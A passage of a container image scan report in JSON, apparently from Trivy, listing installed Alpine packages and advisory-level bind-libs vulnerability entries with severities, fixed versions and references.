"usr/share/zoneinfo/Europe/Lisbon", "usr/share/zoneinfo/Europe/Ljubljana", "usr/share/zoneinfo/Europe/London", "usr/share/zoneinfo/Europe/Luxembourg", "usr/share/zoneinfo/Europe/Madrid", "usr/share/zoneinfo/Europe/Malta", "usr/share/zoneinfo/Europe/Mariehamn", "usr/share/zoneinfo/Europe/Minsk", "usr/share/zoneinfo/Europe/Monaco", "usr/share/zoneinfo/Europe/Moscow", "usr/share/zoneinfo/Europe/Nicosia", "usr/share/zoneinfo/Europe/Oslo", "usr/share/zoneinfo/Europe/Paris", "usr/share/zoneinfo/Europe/Podgorica", "usr/share/zoneinfo/Europe/Prague", "usr/share/zoneinfo/Europe/Riga", "usr/share/zoneinfo/Europe/Rome", "usr/share/zoneinfo/Europe/Samara", "usr/share/zoneinfo/Europe/San_Marino", "usr/share/zoneinfo/Europe/Sarajevo", "usr/share/zoneinfo/Europe/Saratov", "usr/share/zoneinfo/Europe/Simferopol", "usr/share/zoneinfo/Europe/Skopje", "usr/share/zoneinfo/Europe/Sofia", "usr/share/zoneinfo/Europe/Stockholm", "usr/share/zoneinfo/Europe/Tallinn", "usr/share/zoneinfo/Europe/Tirane", "usr/share/zoneinfo/Europe/Tiraspol", "usr/share/zoneinfo/Europe/Ulyanovsk", "usr/share/zoneinfo/Europe/Uzhgorod", "usr/share/zoneinfo/Europe/Vaduz", "usr/share/zoneinfo/Europe/Vatican", "usr/share/zoneinfo/Europe/Vienna", "usr/share/zoneinfo/Europe/Vilnius", "usr/share/zoneinfo/Europe/Volgograd", "usr/share/zoneinfo/Europe/Warsaw", "usr/share/zoneinfo/Europe/Zagreb", "usr/share/zoneinfo/Europe/Zaporozhye", "usr/share/zoneinfo/Europe/Zurich", "usr/share/zoneinfo/Indian/Antananarivo", "usr/share/zoneinfo/Indian/Chagos", "usr/share/zoneinfo/Indian/Christmas", "usr/share/zoneinfo/Indian/Cocos", "usr/share/zoneinfo/Indian/Comoro", "usr/share/zoneinfo/Indian/Kerguelen", "usr/share/zoneinfo/Indian/Mahe", "usr/share/zoneinfo/Indian/Maldives", "usr/share/zoneinfo/Indian/Mauritius", "usr/share/zoneinfo/Indian/Mayotte", "usr/share/zoneinfo/Indian/Reunion", "usr/share/zoneinfo/Mexico/BajaNorte", "usr/share/zoneinfo/Mexico/BajaSur", "usr/share/zoneinfo/Mexico/General", "usr/share/zoneinfo/Pacific/Apia", "usr/share/zoneinfo/Pacific/Auckland", "usr/share/zoneinfo/Pacific/Bougainville", "usr/share/zoneinfo/Pacific/Chatham", "usr/share/zoneinfo/Pacific/Chuuk", "usr/share/zoneinfo/Pacific/Easter", "usr/share/zoneinfo/Pacific/Efate", "usr/share/zoneinfo/Pacific/Enderbury", "usr/share/zoneinfo/Pacific/Fakaofo", "usr/share/zoneinfo/Pacific/Fiji", "usr/share/zoneinfo/Pacific/Funafuti", "usr/share/zoneinfo/Pacific/Galapagos", "usr/share/zoneinfo/Pacific/Gambier", "usr/share/zoneinfo/Pacific/Guadalcanal", "usr/share/zoneinfo/Pacific/Guam", "usr/share/zoneinfo/Pacific/Honolulu", "usr/share/zoneinfo/Pacific/Johnston", "usr/share/zoneinfo/Pacific/Kanton", "usr/share/zoneinfo/Pacific/Kiritimati", "usr/share/zoneinfo/Pacific/Kosrae", "usr/share/zoneinfo/Pacific/Kwajalein", "usr/share/zoneinfo/Pacific/Majuro", "usr/share/zoneinfo/Pacific/Marquesas", "usr/share/zoneinfo/Pacific/Midway", "usr/share/zoneinfo/Pacific/Nauru", "usr/share/zoneinfo/Pacific/Niue", "usr/share/zoneinfo/Pacific/Norfolk", "usr/share/zoneinfo/Pacific/Noumea", "usr/share/zoneinfo/Pacific/Pago_Pago", "usr/share/zoneinfo/Pacific/Palau", "usr/share/zoneinfo/Pacific/Pitcairn", "usr/share/zoneinfo/Pacific/Pohnpei", "usr/share/zoneinfo/Pacific/Ponape", "usr/share/zoneinfo/Pacific/Port_Moresby", "usr/share/zoneinfo/Pacific/Rarotonga", "usr/share/zoneinfo/Pacific/Saipan", "usr/share/zoneinfo/Pacific/Samoa", "usr/share/zoneinfo/Pacific/Tahiti", "usr/share/zoneinfo/Pacific/Tarawa", "usr/share/zoneinfo/Pacific/Tongatapu", "usr/share/zoneinfo/Pacific/Truk", "usr/share/zoneinfo/Pacific/Wake", "usr/share/zoneinfo/Pacific/Wallis", "usr/share/zoneinfo/Pacific/Yap", "usr/share/zoneinfo/US/Alaska", "usr/share/zoneinfo/US/Aleutian", "usr/share/zoneinfo/US/Arizona", "usr/share/zoneinfo/US/Central", "usr/share/zoneinfo/US/East-Indiana", "usr/share/zoneinfo/US/Eastern", "usr/share/zoneinfo/US/Hawaii", "usr/share/zoneinfo/US/Indiana-Starke", "usr/share/zoneinfo/US/Michigan", "usr/share/zoneinfo/US/Mountain", "usr/share/zoneinfo/US/Pacific", "usr/share/zoneinfo/US/Samoa" ], "AnalyzedBy": "apk" }, { "ID": "userspace-rcu@0.15.3-r0", "Name": "userspace-rcu", "Identifier": { "PURL": "pkg:apk/alpine/userspace-rcu@0.15.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "49c1bbae45687b49" }, "Version": "0.15.3-r0", "Arch": "x86_64", "SrcName": "userspace-rcu", "SrcVersion": "0.15.3-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Patrycja Rosa \u003calpine@ptrcnull.me\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:9a1e410aefb79267186d21acdda8dbb5e30013f1", "InstalledFiles": [ "usr/lib/liburcu-bp.so.8", "usr/lib/liburcu-bp.so.8.1.0", "usr/lib/liburcu-cds.so.8", "usr/lib/liburcu-cds.so.8.1.0", "usr/lib/liburcu-common.so.8", "usr/lib/liburcu-common.so.8.1.0", "usr/lib/liburcu-mb.so.8", "usr/lib/liburcu-mb.so.8.1.0", "usr/lib/liburcu-memb.so.8", "usr/lib/liburcu-memb.so.8.1.0", "usr/lib/liburcu-qsbr.so.8", "usr/lib/liburcu-qsbr.so.8.1.0", "usr/lib/liburcu.so.8", "usr/lib/liburcu.so.8.1.0" ], "AnalyzedBy": "apk" }, { "ID": "v4l-utils-libs@1.32.0-r1", "Name": "v4l-utils-libs", "Identifier": { "PURL": "pkg:apk/alpine/v4l-utils-libs@1.32.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "83b55addb0614bd2" }, "Version": "1.32.0-r1", "Arch": "x86_64", "SrcName": "v4l-utils", "SrcVersion": "1.32.0-r1", "Licenses": [ "LGPL-2.0-or-later" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "json-c@0.18-r1", "libgcc@15.2.0-r5", "libjpeg-turbo@3.1.3-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:d8068506bf3c124b788887d6952e663eccd8e22d", "InstalledFiles": [ "usr/lib/libv4l1.so.0", "usr/lib/libv4l1.so.0.0.0", "usr/lib/libv4l2.so.0", "usr/lib/libv4l2.so.0.0.0", "usr/lib/libv4l2rds.so.0", "usr/lib/libv4l2rds.so.0.0.0", "usr/lib/libv4lconvert.so.0", "usr/lib/libv4lconvert.so.0.0.0", "usr/lib/libv4l/libv4l2tracer.so", "usr/lib/libv4l/ov511-decomp", "usr/lib/libv4l/ov518-decomp", "usr/lib/libv4l/v4l1compat.so", "usr/lib/libv4l/v4l2convert.so", "usr/lib/libv4l/plugins/libv4l-mplane.so" ], "AnalyzedBy": "apk" }, { "ID": "vidstab@1.1.1-r0", "Name": "vidstab", "Identifier": { "PURL": "pkg:apk/alpine/vidstab@1.1.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "723f787fea7d1a97" }, "Version": "1.1.1-r0", "Arch": "x86_64", "SrcName": "vidstab", "SrcVersion": "1.1.1-r0", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Bart Ribbers \u003cbribbers@disroot.org\u003e", "DependsOn": [ "libgomp@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:4c6a063376e47793bc8278e81c69237c0903a512", "InstalledFiles": [ "usr/lib/libvidstab.so.1.2" ], "AnalyzedBy": "apk" }, { "ID": "vulkan-loader@1.4.347-r0", "Name": "vulkan-loader", "Identifier": { "PURL": "pkg:apk/alpine/vulkan-loader@1.4.347-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a067fe903a9c92cc" }, "Version": "1.4.347-r0", "Arch": "x86_64", "SrcName": "vulkan-loader", "SrcVersion": "1.4.347-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Simon Zeni \u003csimon@bl4ckb0ne.ca\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:180bfddcbe6ab884450ca2bf6f24e8dc45d0cbc6", "InstalledFiles": [ "usr/lib/libvulkan.so.1", "usr/lib/libvulkan.so.1.4.347" ], "AnalyzedBy": "apk" }, { "ID": "wayland-libs-client@1.25.0-r0", "Name": "wayland-libs-client", "Identifier": { "PURL": "pkg:apk/alpine/wayland-libs-client@1.25.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "92558c571ad4359d" }, "Version": "1.25.0-r0", "Arch": "x86_64", "SrcName": "wayland", "SrcVersion": "1.25.0-r0", "Licenses": [ "MIT" ], "Maintainer": "Peter Shkenev \u003csanturysim@gmail.com\u003e", "DependsOn": [ "libffi@3.5.2-r1", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:7d36fb088612e0466eed59f8c1eea6d353023d2d", "InstalledFiles": [ "usr/lib/libwayland-client.so.0", "usr/lib/libwayland-client.so.0.25.0" ], "AnalyzedBy": "apk" }, { "ID": "x264-libs@0.164.3108-r1", "Name": "x264-libs", "Identifier": { "PURL": "pkg:apk/alpine/x264-libs@0.164.3108-r1?arch=x86_64\u0026distro=3.24.1", "UID": "184c01a2b8dc9067" }, "Version": "0.164.3108-r1", "Arch": "x86_64", "SrcName": "x264", "SrcVersion": "0.164.3108-r1", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:b1b60f74869bbc655e98878c26d0d560a062ee95", "InstalledFiles": [ "usr/lib/libx264.so.164" ], "AnalyzedBy": "apk" }, { "ID": "x265-libs@4.1-r0", "Name": "x265-libs", "Identifier": { "PURL": "pkg:apk/alpine/x265-libs@4.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a81fa145dd48f539" }, "Version": "4.1-r0", "Arch": "x86_64", "SrcName": "x265", "SrcVersion": "4.1-r0", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libstdc++@15.2.0-r5", "musl@1.2.6-r2", "numactl@2.0.19-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:6c174a46503bb23300308b6d667e3191eb6a019a", "InstalledFiles": [ "usr/lib/libx265.so.215" ], "AnalyzedBy": "apk" }, { "ID": "xvidcore@1.3.7-r2", "Name": "xvidcore", "Identifier": { "PURL": "pkg:apk/alpine/xvidcore@1.3.7-r2?arch=x86_64\u0026distro=3.24.1", "UID": "b617db2919abcf10" }, "Version": "1.3.7-r2", "Arch": "x86_64", "SrcName": "xvidcore", "SrcVersion": "1.3.7-r2", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:29da2ec1b87612be3c44378e587c56056d917e6d", "InstalledFiles": [ "usr/lib/libxvidcore.so.4", "usr/lib/libxvidcore.so.4.3" ], "AnalyzedBy": "apk" }, { "ID": "xz@5.8.3-r0", "Name": "xz", "Identifier": { "PURL": "pkg:apk/alpine/xz@5.8.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "7f236d4b12bca584" }, "Version": "5.8.3-r0", "Arch": "x86_64", "SrcName": "xz", "SrcVersion": "5.8.3-r0", "Licenses": [ "GPL-2.0-or-later", "0BSD", "Public-Domain", "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2", "xz-libs@5.8.3-r0" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:b6af7147a6ea0a49aaf3157fb136db5b2a73f132", "InstalledFiles": [ "usr/bin/lzcat", "usr/bin/lzcmp", "usr/bin/lzdiff", "usr/bin/lzegrep", "usr/bin/lzfgrep", "usr/bin/lzgrep", "usr/bin/lzless", "usr/bin/lzma", "usr/bin/lzmadec", "usr/bin/lzmainfo", "usr/bin/lzmore", "usr/bin/unlzma", "usr/bin/unxz", "usr/bin/xz", "usr/bin/xzcat", "usr/bin/xzcmp", "usr/bin/xzdec", "usr/bin/xzdiff", "usr/bin/xzegrep", "usr/bin/xzfgrep", "usr/bin/xzgrep", "usr/bin/xzless", "usr/bin/xzmore" ], "AnalyzedBy": "apk" }, { "ID": "xz-libs@5.8.3-r0", "Name": "xz-libs", "Identifier": { "PURL": "pkg:apk/alpine/xz-libs@5.8.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "1ae658a5f132a091" }, "Version": "5.8.3-r0", "Arch": "x86_64", "SrcName": "xz", "SrcVersion": "5.8.3-r0", "Licenses": [ "GPL-2.0-or-later", "0BSD", "Public-Domain", "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:4c92c5be0c5bef404e93c880eba9037a9b147347", "InstalledFiles": [ "usr/lib/liblzma.so.5", "usr/lib/liblzma.so.5.8.3" ], "AnalyzedBy": "apk" }, { "ID": "zimg@3.0.6-r0", "Name": "zimg", "Identifier": { "PURL": "pkg:apk/alpine/zimg@3.0.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "27d0d37091172cea" }, "Version": "3.0.6-r0", "Arch": "x86_64", "SrcName": "zimg", "SrcVersion": "3.0.6-r0", "Licenses": [ "WTFPL" ], "Maintainer": "Patrycja Rosa \u003calpine@ptrcnull.me\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:38fb473bb162e79ec34a3393b35c39479beb3c2d", "InstalledFiles": [ "usr/lib/libzimg.so.2", "usr/lib/libzimg.so.2.0.0" ], "AnalyzedBy": "apk" }, { "ID": "zix-libs@0.8.0-r0", "Name": "zix-libs", "Identifier": { "PURL": "pkg:apk/alpine/zix-libs@0.8.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "d5f3a9624db4414f" }, "Version": "0.8.0-r0", "Arch": "x86_64", "SrcName": "zix", "SrcVersion": "0.8.0-r0", "Licenses": [ "ISC" ], "Maintainer": "David Demelier \u003cmarkand@malikania.fr\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:df88a2e7d83fa31937d2ca62d7d2b075066495b0", "InstalledFiles": [ "usr/lib/libzix-0.so.0", "usr/lib/libzix-0.so.0.8.0" ], "AnalyzedBy": "apk" }, { "ID": "zlib@1.3.2-r0", "Name": "zlib", "Identifier": { "PURL": "pkg:apk/alpine/zlib@1.3.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e37054a2982d6c16" }, "Version": "1.3.2-r0", "Arch": "x86_64", "SrcName": "zlib", "SrcVersion": "1.3.2-r0", "Licenses": [ "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:dd4c3d102acaef2a71a1495951d55fabc8680613", "InstalledFiles": [ "usr/lib/libz.so.1", "usr/lib/libz.so.1.3.2" ], "AnalyzedBy": "apk" }, { "ID": "zstd-libs@1.5.7-r2", "Name": "zstd-libs", "Identifier": { "PURL": "pkg:apk/alpine/zstd-libs@1.5.7-r2?arch=x86_64\u0026distro=3.24.1", "UID": "b33716e8bc222f1f" }, "Version": "1.5.7-r2", "Arch": "x86_64", "SrcName": "zstd", "SrcVersion": "1.5.7-r2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:9569ce3a97c4109e8e53ddde9f3e1bd272613540", "InstalledFiles": [ "usr/lib/libzstd.so.1", "usr/lib/libzstd.so.1.5.7" ], "AnalyzedBy": "apk" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-11331", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11331", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3982446847361588935ff692e95440d5256247d1f15d53b5db53cf12f3ca3f47", "Title": "bind: bind: Denial of Service via long query names in RPZ processing", "Description": "An attacker who knows (or guesses) that a resolver uses RPZ with wildcard CNAME policies can craft query names long enough to trigger a NAMETOOLONG error condition during RPZ processing. This is not handled correctly and may lead to defeating the RPZ rule. It also may lead to an unexpected exit of the BIND 9 software.\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-790" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-11331", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-11331", "https://linux.oracle.com/cve/CVE-2026-11331.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11331", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-11331" ], "PublishedDate": "2026-07-22T15:16:51.457Z", "LastModifiedDate": "2026-11-02T17:45:23.23Z" }, { "VulnerabilityID": "CVE-2026-11605", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11605", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:4298ad934420ea639c60d88788b4f40cbdd8d0f9b0f75a2fa030f1472861c266", "Title": "bind: bind9: Unnecessary validation of DNSSEC signed records", "Description": "The issue is a resource exhaustion vulnerability associated with DNSSEC validation. BIND always validates all RRSIG records in an answer, even if they are not strictly needed. A query to an authoritative server/zone which returns many valid but superfluous RRSIG records causes the validator to waste disproportionate CPU time.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-408" ], "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11605", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://kb.isc.org/docs/cve-2026-11605", "https://nvd.nist.gov/vuln/detail/CVE-2026-11605", "https://ubuntu.com/security/notices/USN-8648-1", "https://www.cve.org/CVERecord?id=CVE-2026-11605" ], "PublishedDate": "2026-07-22T15:16:51.573Z", "LastModifiedDate": "2026-11-02T17:44:08.623Z" }, { "VulnerabilityID": "CVE-2026-11622", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11622", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:9562629f936398f8e406619d605259452899e82ae4216d7fe8e6c087e6fd9ce0", "Title": "bind: bind9: Potential memory usage beyond configured limits", "Description": "A DNSSEC validating resolver that is under a random subdomain attack against a DNSSEC-signed zone can suffer from runaway memory usage. The attacker needs to be able to send queries faster than the resolver can perform validation. The increased memory usage can be orders of magnitude beyond the limit configured in the `max-cache-size` parameter.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-11622", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-11622", "https://linux.oracle.com/cve/CVE-2026-11622.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11622", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-11622" ], "PublishedDate": "2026-07-22T15:16:51.703Z", "LastModifiedDate": "2026-11-02T17:42:50.153Z" }, { "VulnerabilityID": "CVE-2026-11721", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11721", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:7a2e90c4c4ec75433ef5c4f5d66926ab9892fbda2f11ebd4b824c874f086c14e", "Title": "bind: bind9: Cache poisoning via label count discrepancy, RRSIG, wildcards", "Description": "It is possible for an attacker's zone to respond to a query with an RRSIG that has a smaller number of labels than the zone in which the RRSIG is contained. This causes `named` to produce a wildcard name for a zone that is shorter than the attacker's zone, which can result in cache poisoning. For this attack to have any effect, the resolver under attack must have set `synth-from-dnssec yes;` (which is the default).\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-1284" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-11721", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", 